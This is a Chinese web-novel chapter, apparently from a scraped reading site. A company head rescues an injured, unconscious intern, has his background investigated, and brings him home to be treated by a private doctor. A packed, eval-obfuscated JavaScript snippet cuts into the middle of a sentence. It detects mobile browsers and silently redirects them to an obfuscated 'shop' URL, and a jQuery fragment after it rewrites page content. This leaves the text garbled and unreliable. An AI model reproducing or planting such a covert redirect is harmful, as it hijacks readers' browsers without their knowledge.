江明宴半蹲在地上,低头看向那倒在肩头的少年。
商场内外的灯正陆续的熄灭,最后几缕微弱的光线拢了过来,将陆时修这张昏迷后血色尽褪的脸映照得愈发苍白。长长的睫毛在眼睑下映照出一片阴影,就连眉头都在无意识中微微蹙着,像是连昏睡都不曾卸下身上的警惕和防备。
江明宴伸出手托起少年的下颌,迫使这张脸完全展露在四周略显稀薄的光线下。
还是一如既往的狼狈。
在他的印象中,这孩子似乎每次出现在他的面前都是这般惨兮兮的模样。像是一只被雨水打湿,蜷缩在巷尾的野猫。明明一身狼狈,脊骨却还硬挺着。
脆弱又倔强。
“江总。”林奇把车停在路边,快步走上前来。他扫了一眼那个靠在江明宴肩膀上不省人事的少年,眉头不自觉地拧起,“怎么又是他!这大冷天的,害您在这路边站了这么久不说,现在竟然还......”
林奇说着上前就要将陆时修从江明宴的身上拉开,然而他弯下腰,伸出去的手臂却是被江明宴拦下。
“等等。”
“江总......”
在林奇不满地声音里,江明宴皱着眉将那只垫在少年身下的右手抽出。他借着四周的微光,看清了掌心那片已然半凝固的,暗红色的血迹。
林奇呼吸一窒,险些失声:“江总,这血......!”
江明宴什么话都没说。
他将怀中的人小心地调整了姿势,借着昏暗的光线,上上下下的将人打量了一番。最后,他的目光停在了对方左手手臂那片颜色最深,几乎是浸透了衣料的血迹上。
他伸手,小心翼翼地用指尖拨开已然与伤口粘连的布料边缘。
一道不算太深,却颇为狰狞的割裂伤暴露出来。
伤口的边缘皮肉翻卷,显然是被某种粗糙锋利的物体急速划破导致的。
“是被利物划伤的。”纵然面对这样的情况,江明宴的声音依旧四平八稳的。他收回手,从西装口袋里取出方帕,慢条斯理地擦拭着染血的手指。
林奇:“那我现在就把人送去医院。”
“不必。”江明宴将擦拭过的帕子折起,塞回口袋里。随后他曲指,向上推了推鼻梁上的金丝眼镜,“把人带回双林别墅,叫谢奇来看看。”
谢奇,圈内人称‘阿奇’,是江明宴用了多年的私人医生。
此人医术精湛,口风极严,平日里只出入江明宴的几处私宅,从不为外人看诊。
林奇听后,脸上闪过一丝明显的错愕和不赞同:“江总,只是皮外伤......就这点小毛病,还需要劳烦谢先生过来瞧瞧吗?”
他说着目光再次扫过昏迷的人,语气里不自觉的带了些许的质疑。
在他看来,眼前这个人形迹可疑,来路不明,在没有彻底查清楚此人身份之前就动用了江明宴最私密的医疗资源,这已经超过了原本他预想的自家老板‘偶然发发善心’的范畴。
江明宴并未理会林奇语气之中的异样,他面无表情的站起身,将手里的人朝着林奇推了过去:“看好他。”
林奇一把将人接住,皱紧了眉头:“欸?江总......”
昏迷中的陆时修被林奇搀扶的并不舒服,动作间似是牵动了伤口,惹的他无意识的闷哼了一声。林奇虽然嘴上说着嫌弃,但人也不敢动,就这么扶着人,像是个柱子似的杵在了原地。
而江明宴却是走上前两步,弯下腰将地上装水的袋子拎起,放在眼前看了两眼。袋子里装的是对方在电话里说着的水和给他买的咖啡,只不过经过这么一番折腾,咖啡已经完全从杯子里倾洒了出来。
江明宴:“工作没做完,无缘无故离岗,你觉得是真的去买水了吗?”
林奇:“不然,还能去干什么?”
江明宴一个字都不信。他冷哼了一声,走了回去,将手中的袋子挂在了林奇的手上:“事出反常,必有妖。找个人沿途查一下监控,看看刚刚那段时间,他都去了哪。”
林奇一手拎着袋子,一手抱着人,有些艰难地走着:“您怀疑他......?”
江明宴的目光落在了少年安静得近乎乖巧的侧脸上,他盯着这张脸看了一会儿,复又移开:“之前让你查的资料,有进展了吗?”
“资料?有有有。”林奇拉开车门将人丢在后座上,随后他钻进驾驶室将他随身带着的公文包取了出来,从里面拿出了一个密封的文件袋,递上前去,“能查到的内容都在这里了。”
江明宴:“看过了?”
林奇:“还没。”
那也就是说,现在没有一个人知道这孩子的来历。
答案都在这份文件中。
江明宴靠在车门上,垫了垫手中触感粗糙的牛皮纸袋,将文件的封口拆开。可当他的指尖碰触到袋子里的那几张薄纸的时候,他的动作却停驻了。他朝着车内躺在那儿的人看了一眼,将那份文件重新合了上去。
“您......您就不打算看看?”
“先回去。”
*
双林别墅的主卧室内,只亮着一盏复古的黄铜台灯。
暖黄色的光在深色的桌面上铺开了一片区域,照亮了桌子上堆积的文件和一台亮着的笔记本电脑。
江明宴此时就坐在桌后的高背椅子上,身上穿着的不再是那身一丝不苟的商务西装,而是换了一件质地柔软的深蓝色的丝绒居家服。领口松垮的敞着,露出了一截清晰分明的锁骨和颈线。
今天路演非常成功,媒体新闻暂时未出现任何的负面消息。江明宴将人送了回来,就坐在卧室里翻阅着手中未处理完的文件。他动作很慢,指尖偶尔在纸页的边缘轻轻摩梭了两下,思索着处理结果。
就在这时,房门被轻扣了两下。
“进来。”
江明宴将手中的文件放下,朝着声音来处看去,就见谢奇提着一个小型的医药箱走了进来。他看起来三十岁出头,穿着休闲衬衫和西裤,气质
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159659|196587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显得温和儒雅。
“人给你看完了。”谢奇将手里用过的棉签纱布扔进自带的小垃圾袋里,再次开口,“伤口不深,已经清创包扎好了。”
江明宴:“人怎么样?”
“轻微的失血和体力透支,还有点精神紧张。睡一觉,补充点营养和水分,问题不大。”谢奇摘掉手套,用消毒的纸巾擦了擦手,目光饶有兴致的扫了一眼床上昏睡的人,又转头看向依旧在办公的江明宴,“不过话说回来了,双林别墅这地方,平日里除了打扫的阿姨,我都没见你让谁留宿过。”
江明宴曲指向上推了推眼镜,面无表情的问出声:“你想说什么?”
谢奇半坐在桌角,凑上前八卦道:“这小孩儿......到底什么来头?竟然能让你破例把人带回家,还大半夜的请我出诊。”
江明宴翻动文件的手指几不可察地顿了一下。他没有抬头,目光依旧停留在文件上,声音淡淡的再次开口:“一个实习生,路过顺手把人带回来了。”
“实习生?”谢奇挑眉,笑意更深,“哪个实习生面子这么大?竟然劳得江大总裁亲自把人送回来,还安置在主卧?阿宴,你这借口找的可真是不走心。”
江明宴终于从文件上抬起头。
“你看完了?”
“看完了。”
“不送。”
“......”
谢奇对他的逐客令习以为常,他耸了耸肩,提起医药箱就往外面走:“行,我走,不过......”他走到门口,又回头朝着床上躺着的人看了一眼,意味深长地补充了一句,“小朋友的伤口记得别沾水。还有......如果要享用人身体的话,悠着点,小朋友还病着。”
一本书朝着人丢了过去。
谢奇也就是躲得快,要不然直接砸到了脑门上。
“滚。”
门被轻轻带上了,卧室重新归于一片寂静当中去。
江明宴保持着原来的姿势坐了片刻,心头的思绪繁乱,指尖无意识地在桌子的边缘有一下没一下的敲着。然而,谢奇的话萦绕在心头,让他被搅乱的心思再也无法安静下来。
他摘下眼镜,捏了捏眉心,将那份看到一半的文件彻底的合上。
半晌,江明宴站起身打算去露台透口气,不远处床上突然传来了一阵压抑的,断断续续的咳嗽声。
江明宴脚步一顿,转身走了过去。
卧室的最里间,只亮着一盏昏黄的台灯。
少年躺在宽大的床上,暖黄色的光线斜斜的打在他的侧脸,显得那张脸依旧是未完全恢复血色的苍白。
江明宴站在床边,垂眸看了他几秒,然后微微俯身,伸手探了探对方额头的温度。就在这时,一只微凉却异常有力的手,攥住了他的手腕。
江明宴双眸眯起,还未等他来得及反应,一股不容抗拒的力量便顺着那只手传来。天旋地转之间,他只觉得重心失衡,等到他回过神来,脊背撞上了柔软的床垫,两个人已然换了位置。